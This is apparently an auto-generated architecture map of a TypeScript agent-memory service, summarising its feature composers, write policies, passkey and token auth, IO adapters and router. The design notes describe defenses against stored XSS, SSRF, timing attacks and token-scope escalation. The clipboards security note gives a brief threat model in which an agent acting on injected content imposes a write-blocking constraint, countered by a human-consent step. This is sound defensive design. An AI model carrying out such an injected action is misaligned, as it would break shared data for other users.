compose.ts — the COMPOSERS: derive each scattered registry from the FEATURES array. One composer per registry. Most are LIVE: effects, patterns, migrations, routes, and the kernel hooks (onCreate/onWrite/immutable) are WIRED into their host files (see the per-composer comments for the exact host + call site); write-policy/egress-sensitivity compose in the security.ts barrel, not here, because policy.ts is a dependency-free leaf. The tools and system-docs composers are still DESIGNED (signatures present, no host imports them yet — wired once tools.ts / schema.ts adopt the array).

Composition runs at MODULE LOAD for static registries (effects, tools metadata) and at BOOT for stateful ones (patterns/DDL/migrations/system-docs, which touch the DB). See "WHERE EACH RUNS" in the per-composer comments.

Invariants the composers enforce (fail LOUDLY, never silently last-write-wins): - effects: a pattern may have an effect from at MOST one feature (collision → throw). Two features fighting over _documents's post-mutate hook is a bug. - migrations: version numbers are globally unique + monotonic. - patterns / tools / routes: name/path uniqueness across features.

imports feature.ts, effects.ts, kernel.ts
composeEffectsfunction

Fold every feature's effects into the flat PATTERN_EFFECTS map. WHERE IT RUNS: module load of effects.ts (PATTERN_EFFECTS = composeEffects(FEATURES)). Pure, synchronous, no DB — safe at import time.

composeMigrationsfunction

MIGRATIONS. WIRED. HOST: schema.ts's boot migration pile gains a tail loop over composeMigrations(FEATURES). Core migrations are an append-only pile of idempotent (PRAGMA-guarded) ALTER blocks run on EVERY boot with no stored-version gate, so feature migrations run the same way — version is purely the global ordering + collision slot, not a run condition. WHERE IT RUNS: boot, after the kernel DDL loop + core migrations. Composer sorts by version and asserts version uniqueness across features so two features can't claim the same slot.

NOTE on feature-vs-CORE versions: the two share ONE version space BY DESIGN — a feature carved out of core keeps its historical version for idempotent ordering (e.g. documents owns v12, moved from the core pile). So there is no clean floor that separates them; CORE versions live in schema.ts (an un-importable procedural pile), so feature-vs-core uniqueness is the migration author's responsibility, the same as adding to the core pile. This composer enforces what it CAN see — feature-vs-feature uniqueness. (A FEATURE_MIGRATION_MIN floor was tried and reverted: it broke documents v12, which legitimately lives in the core range.)

ComposeRoutesOptionsinterface

Route-composition guardrails passed IN from src/index.ts (which owns the Auth enum and the CORE route table). Threaded as plain data so compose.ts stays dependency-light (no router-runtime import, no cycle).

composeRoutesfunction

ROUTES. HOST: src/index.ts routes[] becomes [...CORE_ROUTES, ...composeRoutes(FEATURES, opts)], and BACKEND_PREFIXES absorbs each route's backendPrefix. WHERE IT RUNS: module load of index.ts (the route table is built once). Feature routes are appended AFTER core routes (declaration-order matching means a feature route can never shadow a core route), and the composer asserts: (a) no two features claim the same method+pattern; (b) every auth is a valid Auth enum VALUE (fail-closed — never silently NONE); (c) no feature route collides with a CORE route (else silently dead).

assertWiredSlotsfunction

Throw if any feature populates a slot that isn't yet wired into its host file. Runs at module load from src/index.ts (the guaranteed-to-run chokepoint), beside composeRoutes. Converts a silent no-op into a clear, actionable error.

composeToolsfunction

TOOLS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeTools today: tools.ts does NOT yet concatenate it, and session.ts does NOT yet call each feature tool's register. When tools.ts adopts the array, TOOLS will concatenate composeTools(FEATURES) (the metadata half, feeding /api/tools + MCP registration listing) and session.ts will call each feature tool's register(server, hive) during MCP setup (the handler half) — metadata at module load, register once per session at MCP init. Composer asserts tool-name uniqueness so the seam is correct the moment it's wired.

composeSystemDocsfunction

SYSTEM DOCS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeSystemDocs today: schema.ts does NOT yet concatenate it. When schema.ts adopts the array, its seed list will concatenate composeSystemDocs(FEATURES) at boot, alongside the core doc seeding. Composer asserts slug uniqueness so the seam is correct the moment it's wired.

feature.tsentities/features/feature.ts

feature.ts — the Feature TYPE: one per-feature declaration that FEEDS the scattered registries from a single co-located module.

A "feature" is the extensibility keystone. Today a feature's footprint is smeared across registries a forker's agent must find and edit in lockstep: - post-mutate side effects → entities/Hive/effects.ts (PATTERN_EFFECTS) - HTTP routes → src/index.ts (routes[]) - MCP tools → entities/Session/tools.ts (TOOLS) - kernel patterns + DDL → entities/Hive/schema.ts (KERNEL_PATTERNS) - write-policy class → entities/Hive/policy.ts (KERNEL_WRITE_POLICY) - system docs → src/system-docs/.md (imported in schema.ts) - coherence spec → <dir>/.spec.md

A Feature object declares each of those contributions in ONE place. The composers in this directory then DERIVE the registries from FEATURES (the barrel in ./index.ts). Adding a feature = create one dir + add one import line to the barrel — its whole footprint is legible in the manifest, not scattered.

This file is intentionally dependency-light: it imports only the TYPES of the contributions, never the runtime registries, so a feature manifest can be read (and reasoned about) in isolation. effects is wired end-to-end today; the remaining fields are TYPED and documented so the next agent fills a slot rather than re-discovering a registry. See ./compose.ts for what is live vs. designed.

imports effects.ts, kernel.ts
FeaturePatterninterface

A kernel-pattern declaration as schema.ts expects it (DDL + facet metadata + doctrine). Kept as the existing KernelTable shape so a feature can hand schema.ts a row verbatim — composePatterns folds these into KERNEL_TABLES, and the boot DDL loop / _fields seeding / verifyFieldsIntegrity treat them identically to a CORE row. indexes mirror the KernelTable field (a feature pattern may carry its own unique/partial indexes, e.g. _pages' path index).

FeatureMigrationinterface

A one-shot, idempotent ALTER/backfill keyed by a monotonic version, mirroring the runMigrations switch in schema.ts. Runs at boot, after pattern DDL.

FeatureRouteinterface

A route contribution: the existing Route shape plus the handler. Imported as a type only so the manifest doesn't pull the router runtime. The composer splices these into the routes[] array in src/index.ts in feature-declaration order, AFTER the core routes (a feature route can't shadow a core route).

FeatureToolinterface

MCP tool metadata — the ToolMeta shape from tools.ts. A feature that adds an agent-facing verb declares it here; the composer concatenates onto TOOLS. The feature ALSO supplies the Zod schema + handler wiring (a registerTool callback) since session.ts binds those — see compose design notes.

FeatureSystemDocinterface

A system-doc contribution: the raw markdown (imported as a text module) plus its slug/title, seeded into _system_docs at boot exactly like schema.ts does.

Featureinterface

One feature, declaring every registry contribution it makes. Only name is required; every contribution field is optional so a feature opts into exactly the registries it touches.

index.tsentities/features/index.ts

index.ts — the FEATURE BARREL. The whole feature set, in one greppable place.

Adding a feature is TWO edits, both here-adjacent: 1. create entities/features/<name>/manifest.ts exporting a Feature 2. add ONE import line + ONE array entry below

The composers in ./compose.ts derive every scattered registry from FEATURES. effects is live today: entities/Hive/effects.ts sets PATTERN_EFFECTS = composeEffects(FEATURES) instead of a hand-written literal. The remaining registries adopt their composer in their own host file (see compose.ts for each landing spot).

imports feature.ts, manifest.ts, manifest.ts, manifest.ts, manifest.ts
security.tsentities/features/security.ts

security.ts — the FEATURE-SECURITY BARREL. The dependency-free merge of every feature's pure-data security contribution (write class + egress sensitivity), imported by entities/Hive/policy.ts to compose the EFFECTIVE write-policy / sensitive-column maps.

THE LEAF-PRESERVATION INVARIANT (read before editing): policy.ts is the dependency-free security leaf — every enforcement layer derives from it without a cycle. policy.ts may import THIS barrel only because this barrel (and the per-feature /security.ts files it re-exports) imports nothing but PURE DATA and TYPES. It MUST NOT import a feature manifest.ts (manifests carry code: effect bodies, route handlers — importing one would pull runtime code into the security leaf and risk a cycle). When a new feature owns kernel patterns, add its pure-data /security.ts here, NOT its manifest.

Collisions fail LOUDLY (throw) rather than silently last-write-wins — two features claiming the same pattern's write class or sensitive columns is a bug.

THE DOMAIN IS THE LIVE FEATURE SET. A single registry — FEATURE_SECURITY — holds one entry per feature ({name, writePolicy?, sensitiveColumns?}); BOTH the write-policy and the sensitive-column maps are DERIVED by iterating it. There is no second hand-list to fall out of sync, so a feature's sensitive columns can no longer be silently dropped while its write policy is wired (the prior bug: the barrel composed write policy from one list and sensitive columns from another, and the second omitted pages — with no egress totality oracle to catch it).

imports policy.ts, security.ts, security.ts, security.ts
FeatureSecurityinterface

One feature's complete pure-data security contribution: its write-class rows and its egress-sensitive columns, in a SINGLE object. Both halves of a feature's security footprint travel together so neither can be dropped independently — the bug this shape exists to kill (a feature whose sensitiveColumns silently never reached SENSITIVE_COLUMNS because the barrel's second hand-list forgot it).

FEATURE_WRITE_POLICYconst

Every feature's write-class rows, derived from FEATURE_SECURITY. Folded into the effective KERNEL_WRITE_POLICY by policy.ts ({...CORE, ...FEATURE_WRITE_POLICY}).

FEATURE_SENSITIVE_COLUMNSconst

Every feature's egress-sensitive columns, derived from THE SAME FEATURE_SECURITY array. Folded into the effective SENSITIVE_COLUMNS by policy.ts. Because both maps iterate the one registry, a feature's sensitive columns can no longer be dropped independently of its write policy — and verifyEgressTotality asserts it.

FEATURE_DECLARED_SENSITIVEconst

The flat list of every sensitive column declared by ANY feature — the DECLARED domain the egress totality oracle (policy.ts verifyEgressTotality) checks survives into the composed SENSITIVE_COLUMNS. Derived from FEATURE_SECURITY so it cannot drift from what the features actually declare.

hooks.tsentities/features/clipboards/hooks.ts

clipboards/hooks.ts — the clipboards feature's PRE-MUTATION DEFINITION hook, as code.

The "a feature owns its kernel pattern's HOOKS" half of the footprint (after schema.ts/structure + security.ts/write-class). This validates a clipboard DEFINITION at create/update time and FAILS CLOSED: an unknown constraint key, metric, or op is rejected here, so a clipboard can never store a rule the engines don't enforce (the totality oracle in src/__tests__/clipboards.test.ts asserts the keysets match). composeOnWrite folds this into kernel.ts's ON_WRITE registry, so applyKernelRules — the one mutate chokepoint — enforces it; only the declaration lives here.

NO-CYCLE INVARIANT: imports ONLY TYPES from kernel.ts (import type). The constraint / completion registries it derives its known-key sets from are core LEAVES (constraints.ts / completion.ts import no manifest), so importing them at runtime closes no kernel.ts → features → hooks cycle.

imports kernel.ts, constraints.ts, completion.ts
hooks.tsentities/features/documents/hooks.ts

documents/hooks.ts — the documents feature's PRE-MUTATION HOOKS, as code.

This is the "a feature owns its kernel pattern's HOOKS" half of the footprint — the last piece after schema.ts (structure) and security.ts (write class + egress). The _documents create-time validation (title required; visibility enum) and its IMMUTABLE bookkeeping fields (system-managed on upload/extraction) live here, NOT in entities/Hive/kernel.ts. composeKernelHooks (entities/features/ compose.ts) folds them back into kernel.ts's ON_CREATE / IMMUTABLE registries, so applyKernelRules — the kernel chokepoint every mutate runs through — enforces them byte-for-byte the same. Only the DECLARATION moved; ENFORCEMENT stays at the kernel chokepoint, exactly like effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint.

LEAF-PRESERVATION / NO-CYCLE INVARIANT (read before editing): kernel.ts composes this file in (FEATURES → manifest → hooks), so this file MUST import ONLY TYPES from kernel.ts (import type). A runtime import of kernel.ts here would close a kernel.ts → features → hooks → kernel.ts RUNTIME cycle. Type imports are erased at runtime, so the back-edge stays type-only and no cycle forms.

imports kernel.ts
hooks.tsentities/features/scratchpad/hooks.ts

scratchpad/hooks.ts — the scratchpad feature's PRE-MUTATION hook, as code. Validates a posted note, fail-closed; composed into kernel.ts's ON_CREATE and enforced at the applyKernelRules chokepoint. Imports ONLY TYPES from kernel.ts (the no-cycle invariant).

imports kernel.ts
onWriteconst

onWrite (not onCreate): _scratchpad is WriteClass.Open with no immutable fields, so an UPDATE must re-validate too — otherwise a note's pad could be repointed to an invalid (or different) slug post-hoc, bypassing the create-time checks.

manifest.tsentities/features/clipboards/manifest.ts

clipboards — validated job-dispatch forms.

The whole feature, legible in one place. A clipboard binds a reusable, validated form to a target dataset pattern; each create on that pattern is a SUBMISSION, validated at the mutate chokepoint (collect-all violations) and scored against a composable numeric completion contract whose progress is DERIVED from the log.

patterns → ./schema.ts (pure data: _clipboards DDL/facets + the one-per-pattern partial unique index), folded into KERNEL_TABLES by composePatterns. hooks.onWrite → ./hooks.ts (the DEFINITION validator, fail-closed on unknown constraint/metric/op keys), folded into kernel.ts's ON_WRITE. writePolicy → ./security.ts (pure data: _clipboards write class = Consent — creation takes a human round-trip; see that file's rationale), composed by entities/features/security.ts.

The PER-SUBMISSION enforcement + DERIVED progress are NOT a manifest slot: they live at the core mutate chokepoint (entities/Hive/data.ts via the generic engines entities/Hive/{constraints,completion}.ts, configured by _clipboards data). So unlike documents/pages, this feature extends core — its declaration is feature-local, its enforcement is the existing chokepoint. (See the Features.spec.md ## why.)

imports feature.ts, schema.ts, hooks.ts
manifest.tsentities/features/documents/manifest.ts

documents — R2-backed file store feature.

The whole feature, legible in one place. effects + routes are composed end-to-end today. The remaining slots are commented pointers to the live registries that still own them — not duplicated definitions, so there is exactly one source of truth per registry until migration.

patterns + migrations → ./schema.ts (pure data: _documents DDL/facets + the v12 extraction-columns migration), folded into schema.ts's KERNEL_TABLES + boot migration pile by composePatterns / composeMigrations. Wired below. writePolicy + egress → ./security.ts (pure data: _documents write class + r2_key redaction), composed into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts. Re-exported below so the feature's security footprint is legible from its dir. systemDocs → src/system-docs/http-io.md (shared with the other HTTP-I/O features — egress/publications/ingress — so it stays a single doc, not split per-feature)

imports feature.ts, constants.ts, log.ts, io.ts, router.ts, schema.ts, hooks.ts
manifest.tsentities/features/scratchpad/manifest.ts

scratchpad — durable shared pads for agents in neighboring sessions.

A _scratchpad row is a NOTE posted to a named pad; agents watching that pad get a push (Phase 2). The whole feature, legible in one place:

patterns → ./schema.ts (pure data: _scratchpad DDL/facets + per-pad index), folded into KERNEL_TABLES by composePatterns. hooks.onWrite → ./hooks.ts (pad slug / kind / body-size validation on create AND update — an Open pattern's updates must re-validate too), folded into kernel.ts's ON_CREATE. writePolicy → ./security.ts (Open + auditExempt), composed by entities/features/security.ts. effects → the fanout-on-post effect below: a created note fans out via the core push channel (EffectContext.fanoutScratch → HiveDO RPCs each live session's notifyScratch → scheduled sendResourceUpdated). The channel itself lives in hive.ts + session.ts (the SessionDO↔HiveDO seam this feature extends); the manifest only declares the trigger.

imports feature.ts, schema.ts, hooks.ts
manifest.tsentities/features/system-tasks/manifest.ts

system-tasks — dispatch-on-create maintenance jobs.

Live slot: effects (run the task post-commit). Other registries: patterns/writePolicy → schema.ts (_system_tasks DDL) + policy.ts routes → src/index.ts (/dev/seed-vectors triggers the task path)

imports feature.ts
schema.tsentities/features/clipboards/schema.ts

clipboards/schema.ts — the clipboards feature's PATTERN STRUCTURE, as PURE DATA: the _clipboards kernel-pattern declaration (DDL + facet metadata + the one-clipboard-per-pattern partial unique index). Same discipline as documents/pages schema.ts — pure data + TYPES only — so composePatterns folds it into schema.ts's KERNEL_TABLES verbatim and verifyFieldsIntegrity sees no drift.

A _clipboards row is a JOB-DISPATCH form: it binds a reusable, validated form to a target user pattern. The JSON columns (fields / unique_on / cross_field / completion) are the form's contract; they're validated at definition time by the sibling hooks.ts and enforced per-submission at the mutate chokepoint (entities/Hive/data.ts). Progress against completion is DERIVED from the target pattern's entries, never stored here (entities/Hive/completion.ts).

No feature migration: every column lives in the base DDL (a fresh pattern, no prior _clipboards ALTER ever lived in schema.ts's pile). The pre-mutation DEFINITION hooks live in the sibling hooks.ts and compose into kernel.ts's ON_CREATE/ON_WRITE.

imports feature.ts
schema.tsentities/features/documents/schema.ts

documents/schema.ts — the documents feature's PATTERN STRUCTURE, as PURE DATA: the _documents kernel-pattern declaration (DDL + facet metadata + doctrine) and the feature's own schema migration. This is the "a feature owns its schema" half of the footprint, kept SEPARATE from manifest.ts so it stays pure data + TYPES only (no route handlers, no effect bodies) — composePatterns/composeMigrations (entities/features/compose.ts) fold it back into schema.ts's KERNEL_TABLES + boot migration pile, byte-for-byte the same rows the central array used to hold, so verifyFieldsIntegrity (the DDL↔_fields drift oracle) sees no change.

NOTE: the kernel pre-mutation HOOKS for _documents (the title-required create validation + the immutable r2_key/size/etc. bookkeeping invariants) live in the sibling ./hooks.ts (code, type-only kernel import), composed into kernel.ts's ON_CREATE / IMMUTABLE registries and enforced at the applyKernelRules chokepoint.

imports feature.ts
schema.tsentities/features/scratchpad/schema.ts

scratchpad/schema.ts — the scratchpad feature's PATTERN STRUCTURE, as PURE DATA: the _scratchpad kernel-pattern declaration (DDL + facets + a per-pad index). Same discipline as documents/pages/clipboards schema.ts — pure data + TYPES only — so composePatterns folds it into KERNEL_TABLES verbatim and verifyFieldsIntegrity sees no drift.

A _scratchpad row is a NOTE posted to a named shared PAD: a coordination channel for agents in neighboring sessions. Append-only, durable-as-memory but GC'd at a horizon (the boot sweep in entities/Hive/schema.ts), audit-exempt (high-frequency, like the access logs). created_by/updated_by (auto kernel columns) attribute each note to its poster, so a fanout of agents can see who left what.

imports feature.ts
security.tsentities/features/clipboards/security.ts

clipboards/security.ts — the clipboards feature's WRITE-POLICY contribution, as PURE DATA. Same leaf discipline as documents/pages security.ts: TYPES only, no runtime import, folded into the effective KERNEL_WRITE_POLICY by entities/features/security.ts.

_clipboards is WriteClass.Consent (human round-trip on create). A clipboard binds a validation contract to an EXISTING dataset pattern, and "constrains future writes" is not benign for an already-populated, multi-actor pattern: an impossible required / cross_field / unique_on (or a pathological pattern) makes every subsequent legitimate write to that shared dataset fail — an integrity/availability lever. So an agent acting on injected content must not be able to silently impose one; like _members / _federation_hosts / _shared, defining a clipboard takes a confirmation round-trip. No sensitive columns: a clipboard's columns are form metadata, nothing secret.

imports policy.ts
security.tsentities/features/documents/security.ts

documents/security.ts — the documents feature's WRITE-POLICY + EGRESS-SENSITIVITY contribution, as PURE DATA. This is the security half of the feature's footprint, kept SEPARATE from manifest.ts on purpose: policy.ts (the dependency-free security leaf) folds this in, and policy.ts MUST NOT pull a manifest (manifests carry code — effect bodies, route handlers — which would drag the enforcement layers into the security leaf and risk an import cycle).

So this file imports ONLY TYPES (erased at runtime → no runtime edge into policy.ts) and NOTHING else. It is the single home for "what write class is _documents, and which of its columns must never leave the DO" — composed back into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts.

imports policy.ts
security.tsentities/features/scratchpad/security.ts

scratchpad/security.ts — the scratchpad feature's WRITE-POLICY contribution, as PURE DATA (TYPES only, no runtime import), folded into the effective KERNEL_WRITE_POLICY by entities/features/security.ts.

_scratchpad is WriteClass.Open + auditExempt: - Open: posting a note is a plain mutate create, no consent (a note exposes nothing outward; same class as _outputs/_views/_clipboards). - auditExempt: notes are high-frequency append-only coordination; logging every post to _mutation_log would be noise (mirrors _entry_access_log / _fragment_access_log). The GC sweep + the notes themselves ARE the record. No sensitive columns — a note is pad/kind/body, nothing secret.

imports policy.ts
Authclaimed
Credential primitives — multi-member passkeys and scoped access/register tokens — isolated as pure db-accessor functions.
why

Auth primitives (passkeys + access/register/auth tokens) are isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate; the multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one shared hive is authenticated into by several people each acting as themselves. resolveRegisterToken deliberately re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover, and a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

Access tokens are stored HASHED at rest (hashToken, SHA-256): findAccessToken hashes the presented value and compares digests, mint stores only the digest (the raw token is shown once), and a boot migration hashes any legacy plaintext token in place. So a read of an _access_tokens row — a query, a search hit, a leaked DO snapshot — discloses only a digest, never a usable bearer. This is a deliberate exception to "store truth once": the secret's preimage is never persisted, which neuters the entire "a token reached a read sink" class independent of which sink leaks. Because the column holds a digest, every lookup that needs the token is async (crypto.subtle.digest), which is why these accessors return Promises.

works when
lives in storage fast
credentials.ts exists at this node fast
passkey.ts exists at this node fast
passkey.ts imports @simplewebauthn/server fast
credentials.tsshared/Auth/credentials.ts

Credential infrastructure: passkey storage + access token operations

Pure functions that take a db accessor. HiveDO keeps thin RPC wrappers. Auth concerns separated from the cognitive substrate.

why

Auth primitives (passkeys + access/register tokens) isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate. The multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one hive is shared by several people who each authenticate as themselves. resolveRegisterToken re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover; a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

imports kernel.ts, constants.ts
hasPasskeyfunction
getPasskeysfunction

All registered passkeys — the authentication candidate set.

storePasskeyfunction

Store a member's passkey, replacing any existing credential for that same member (per-member rotation — the original "single credential, replaced on re-registration" semantic, now scoped to one member). member is the member label, or null for the bootstrap owner credential.

updatePasskeyCounterfunction

Bump the signature counter for a specific credential (clone detection).

hashTokenfunction

SHA-256 hex of a token. Access tokens are stored HASHED at rest — the raw token is shown once at mint, and every lookup hashes the presented value and compares digests. So a read of an _access_tokens row (a query, a search hit, a leaked DO snapshot) discloses only a digest, never a usable bearer. This is the architectural stance that neuters the whole "token reached a serve sink" class regardless of which sink leaks.

findAccessTokenfunction

Find a valid (non-archived, non-expired, non-consumed) access token. Hashes the presented token and matches against the stored digest.

consumeTokenfunction

Mark a token as consumed (for single-use tokens).

validateAccessTokenfunction

Validate a token against a required scope. Consumes single-use tokens.

resolveTokenActorfunction

Validate a token and resolve the actor (member) it authenticates as. Returns the member label, or null if the token is invalid / out of scope / belongs to a suspended-or-archived member. A token with no member resolves to the owner sentinel (legacy and headless tokens). Used by the OAuth external-token path to attribute the resulting session to a person.

isMemberActivefunction

A member exists, is active, and not archived. The owner sentinel is always active.

getRegisterTokenfunction

Register-token info for the approval page (does not require approval). Returns the member + display fields and whether it has already been approved.

resolveRegisterTokenfunction

Resolve a register token for the /setup flow. Adds the human-approval gate on top of validateRegisterToken: an invite is inert until a member approves it via passkey at /invite/{token}. This is the last line before a passkey is bound, so an unapproved (or tampered) token must not pass.

approveRegisterTokenfunction

Mark a register token approved (human-present passkey approval). Validates the same invariants, then stamps approved_at via raw SQL — approved_at is IMMUTABLE on the mutate path, so this is the only way it can be set. Returns the member approved, or null if the token is invalid / not a register token.

validateAuthCodefunction

Validate a token as a LOGIN credential — full-access (*) scope ONLY. A capability token (marketplace/read/upload/document/register) is deliberately distributed at LOWER privilege and must never redeem as an owner login; without this gate a marketplace-clone token or a shared read:entry link would escalate to full owner access via /authorize|/login. Mirrors resolveTokenActor's scope check.

consumeAuthCodefunction

Validate and consume a single-use LOGIN token (browser auth) — full-access (*) scope ONLY, for the same reason as validateAuthCode.

passkey.tsshared/Auth/passkey.ts

WebAuthn passkey registration + authentication (SimpleWebAuthn).

why

Lazy-imported (dynamic import in routes/auth) to dodge a tslib resolution issue in the vitest/workerd test environment. User verification is required on both registration and authentication so the passkey is a true second factor, not merely possession of the device.

imports @simplewebauthn/server, constants.ts, https://esm.sh/@simplewebauthn/browser@13
StoredPasskeyinterface
setupPagefunction

Passkey registration page. Shown at /setup?token=SECRET

passkeyLoginPagefunction

Login page — passkey-first with secret fallback

IOclaimed
Outbound and inbound adapters: derived publication renderers, web-URL resolution with caching, git pack assembly, and text extraction.
why

IO holds the adapters that move data across the hive's boundary, kept as focused single-purpose modules so each owns one concern. Publications render live pattern projections at request time (never stored) per the "data is destiny" doctrine; web.ts caches adapter-fetched content as durable memory with a re-fetch-horizon TTL and refuses blocked hosts; extract.ts splits inline text extraction from async PDF extraction off the response path because only the DO has waitUntil, capping extracted text to stay under the entry size limit.

works when
lives in public-egress fast
publications.ts exists at this node fast
web.ts exists at this node fast
git.ts exists at this node fast
extract.ts exists at this node fast
extract.tsshared/IO/extract.ts

Document text extraction: bytes → searchable text.

The extracted text lands in the _documents.extracted_text facet, where it's covered by search (FTS over text facets) and prime (embedEntry embeds text facets). So extraction is the only missing piece — indexing is free.

Two tiers run inline-cheap vs async-heavy: - text-family (text/*, json, xml, csv, markdown): decode the bytes, no deps. - PDF: unpdf (serverless pdf.js) — runs in workerd (spiked), but CPU-heavier, so the caller runs it off the response path (waitUntil). Anything else (images, office docs) is unsupported for now.

why

Inline text extraction runs synchronously but PDF extraction is deferred to the DO's waitUntil off the response path, because only the Durable Object has waitUntil and PDF parsing is slow; extracted text is capped to stay under the 1 MB entry limit. Extraction is the only missing piece for document search/recall — once text lands in _documents.extracted_text, search (FTS) and prime (embedding) cover it for free.

TEXT_CHARS_CAPconst

Cap stored text well under the 1 MB entry limit (length×2 bytes); enough to cover the searchable substance of most documents.

capTextfunction
isTextLikefunction

True for content types we can read directly as UTF-8 text.

isPdffunction
decodeTextfunction

Decode raw bytes as UTF-8 text (lossy on invalid sequences).

extractPdfTextfunction

Extract text from a PDF via unpdf (serverless pdf.js). Pages merged.

extractionPlanfunction

Classify what extraction a content type gets, without doing the work.

git.tsshared/IO/git.ts

git.ts — Minimal git smart HTTP for read-only marketplace serving

Synthesizes a virtual git repo from a file tree (path → content). Implements just enough of the git smart HTTP protocol for git clone. No actual git repo on disk. No push support. No delta compression.

why

Synthesizes a virtual git repo from an in-memory file tree and speaks just enough of the git smart-HTTP protocol for read-only git clone, so the marketplace serves plugins/skills over standard git tooling with no repo on disk and no push path. Deliberately minimal — no delta compression, no write support — because the only consumer is read-only clone.

imports node:crypto, node:zlib, constants.ts
og-png.tsshared/IO/og-png.ts

SVG → PNG on the worker, no browser. resvg is pure WASM (the rasterizer half of the @vercel/og stack); it needs font bytes supplied since workerd has no system fonts, so we embed the two we use. Used to turn an OG card SVG into a PNG that unfurls everywhere.

imports @resvg/resvg-wasm, @resvg/resvg-wasm/index_bg.wasm
svgToPngfunction
publications.tsshared/IO/publications.ts

Publication renderers: live pattern data → HTML / RSS / JSON / Markdown.

A publication entry declares the projection; these functions derive the document at request time. Nothing rendered is ever stored — the page is a consequence of current truth ("data is destiny" applied to publishing).

The template seam is deliberately small: {{facet}} substitution plus a few specials. Template text passes through raw (owners may write markup); substituted VALUES are escaped in html/rss contexts. No logic, no loops.

why

Publications render live pattern projections at request time and store nothing, so the served page is always a consequence of current truth (data-is-destiny applied to publishing). The per-entry template seam substitutes HTML-escaped values into raw template text so an owner can shape output without the projection becoming a stored, drift-prone artifact; superseded entries are excluded by default because a publication projects current truth.

imports labels.ts, constants.ts, prime.ts, escape.ts
RenderContextinterface
Renderedinterface
renderTemplatefunction

Substitute {{facet}} placeholders. Specials: _label, _uri, _id, _updated_at. Unknown placeholders become empty strings. escape is applied to VALUES only.

web.tsshared/IO/web.ts

Web URL resolution via resolve()

Fetches web content through adapter dispatch, caches in _web_cache, embeds for prime recall. Pure functions with context injected.

why

Adapter-fetched web content is cached in _web_cache as durable memory, not a TTL-evicted cache: the TTL is a re-fetch horizon, active content is retained indefinitely and surfaces in prime recall, and a re-fetch that returns empty never overwrites a good snapshot. Blocked hosts (loopback/private/link-local/metadata) are refused before fetch, sharing the same isBlockedFederationHost SSRF guard as federation so the boundary is defined once.

imports router.ts, kernel.ts
WebContextinterface
resolveWebfunction
Routingclaimed
Declarative HTTP dispatch and session machinery: pattern-matched route table plus constant-time, revocable session auth helpers.
why

(The router is the worker's declarative HTTP dispatch — method, pattern, auth gate, param constraints, matched in declaration order — with handlers grouped by domain under routes/, so the full routing surface stays scannable. Two auth primitives ride along that aren't yet declared invariants on their own: timingSafeEqual is constant-time to close a timing-attack finding on secret/token/signature checks, and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET. Candidates for promotion when an oracle is added.)

Served-content inertness. Agent- or uploader-authored content served on the FIRST-PARTY origin (which holds the owner's session cookie and can drive /api/*//mcp) must never run as active script. The rejected design was a per-handler MIME block-list ("any served path remembers to neutralize active MIME") — correctly implemented at /o but silently drifted at two siblings: /p publications omitted the sandbox directive so owner-authored markup ran same-origin, and /f documents echoed the UPLOADER-controlled Content-Type inline with neither nosniff nor sandbox, turning a text/html upload into stored XSS / owner-session theft. A block-list of per-handler MIME handling fails open the moment one site forgets — the same failure mode that made it a convention crossing in the first place.

Served-read gating. The auth dual of inertness: where inertness governs HOW served content is emitted, this governs WHETHER a visibility-gated resource is served at all. The rejected design was a 5-call-site block-list — "any new served read route remembers to gate" — that fails open the moment one route forgets, a real risk because adding a served read path is otherwise a cheap edit. A secretless deploy was an additional silent failure mode: with no master secret configured, owner-only APIs returned 503 but served reads still went through the bearer check against a NULL secret. Both failure modes are killed at one chokepoint with a fixed enumeration over the gated route-shape set. Anchored via guard rather than via test because the domain is a known route table, not a runtime-varying live domain.

(Operational protection of the public surfaces is cost/availability, not a security boundary, so it isn't a declared invariant. Two layers, both fail-OPEN so absence is harmless: rateLimit over the GA ratelimit bindings caps the public WRITE surface per endpoint and the public READ surfaces per client IP, and cached wraps the public GET reads in caches.default so a hit returns from Cloudflare's per-colo edge without running the Worker or touching the DO. Together they answer the single-DO contention ceiling: hot public reads offload to the edge, and what reaches the DO — writes, cache misses, cache-busting enumeration — is throttled. Early Content-Length caps on the buffered text bodies bound Worker memory before the transform DSL runs.)

works when
lives in served-untrusted fast
router.ts exists at this node fast
router.ts imports ../core/constants fast
routes/auth.ts exists at this node fast
routes/io.ts exists at this node fast
routes/io.ts imports ../router fast
boundary "served-content inertness" at inertHeaders crossing served-untrusted -> public-egress via test "served-content inertness totality" fast
boundary "served-read gating" at denyUnlessBearerScope crossing public-egress -> served-untrusted via guard "served bearer-gating totality" fast
depends on OAUTH_KV
router.tsshared/Routing/router.ts

Declarative HTTP dispatch: a route table matched in declaration order.

why

The auth helpers here are security-load-bearing: timingSafeEqual is constant-time specifically to close a timing-attack finding on master-secret / setup-token / session-signature checks (replacing ===), and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET. The route table keeps the whole HTTP surface scannable (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone.

imports hive.ts, constants.ts, log.ts
binds OAUTH_KV
Envinterface
Methodenum
Authenum
RouteContextinterface
Routeinterface
timingSafeEqualfunction

Constant-time string comparison. Hashes both inputs to fixed-length digests and compares with a branch-free XOR accumulator, so timing does not leak the length or content of the expected value. Use for any comparison against the master secret or an HMAC signature.

isDevAutoApprovefunction

